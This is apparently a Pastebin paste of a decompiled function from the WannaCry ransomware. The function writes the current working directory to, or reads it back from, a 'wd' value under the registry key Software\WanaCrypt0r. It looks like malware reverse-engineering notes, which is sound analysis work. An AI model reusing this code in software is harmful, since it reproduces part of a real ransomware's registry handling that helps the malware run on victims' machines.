Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- undefined4 __cdecl set_or_query_registry_cwd(int set_registry)
- {
- size_t current_dir_length;
- LSTATUS LVar1;
- int iVar2;
- undefined4 *software_str;
- undefined4 *puVar3;
- bool bVar4;
- HKEY hKey;
- BYTE registry_value;
- undefined4 local_2df [129];
- undefined4 software_str_buf [5];
- undefined4 local_c4 [45];
- DWORD local_10;
- int i;
- HKEY regWanaHandle;
- iVar2 = 5;
- software_str = (undefined4 *)u_Software\_0040e04c;
- puVar3 = software_str_buf;
- while (iVar2 != 0) {
- iVar2 = iVar2 + -1;
- *puVar3 = *software_str;
- software_str = software_str + 1;
- puVar3 = puVar3 + 1;
- }
- registry_value = 0;
- iVar2 = 0x2d;
- regWanaHandle = (HKEY)0x0;
- puVar3 = local_c4;
- while (iVar2 != 0) {
- iVar2 = iVar2 + -1;
- *puVar3 = 0;
- puVar3 = puVar3 + 1;
- }
- iVar2 = 0x81;
- puVar3 = local_2df;
- while (iVar2 != 0) {
- iVar2 = iVar2 + -1;
- *puVar3 = 0;
- puVar3 = puVar3 + 1;
- }
- *(undefined2 *)puVar3 = 0;
- *(undefined *)((int)puVar3 + 2) = 0;
- /* Software\WanaCrypt0r */
- wcscat((wchar_t *)software_str_buf,u_WanaCrypt0r_0040e034);
- i = 0;
- do {
- if (i == 0) {
- /* HKEY_LOCAL_MACHINE */
- hKey = (HKEY)0x80000002;
- }
- else {
- /* HKEY_CURRENT_USER */
- hKey = (HKEY)0x80000001;
- }
- RegCreateKeyW(hKey,(LPCWSTR)software_str_buf,(PHKEY)®WanaHandle);
- if (regWanaHandle != (HKEY)0x0) {
- if (set_registry == 0) {
- local_10 = 0x207;
- LVar1 = RegQueryValueExA(regWanaHandle,s_wd_0040e030,(LPDWORD)0x0,(LPDWORD)0x0,
- ®istry_value,&local_10);
- bVar4 = LVar1 == 0;
- if (bVar4) {
- SetCurrentDirectoryA((LPCSTR)®istry_value);
- }
- }
- else {
- GetCurrentDirectoryA(0x207,(LPSTR)®istry_value);
- current_dir_length = strlen((char *)®istry_value);
- LVar1 = RegSetValueExA(regWanaHandle,s_wd_0040e030,0,1,®istry_value,
- current_dir_length + 1);
- bVar4 = LVar1 == 0;
- }
- RegCloseKey(regWanaHandle);
- if (bVar4) {
- return 1;
- }
- }
- i = i + 1;
- if (1 < i) {
- return 0;
- }
- } while( true );
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement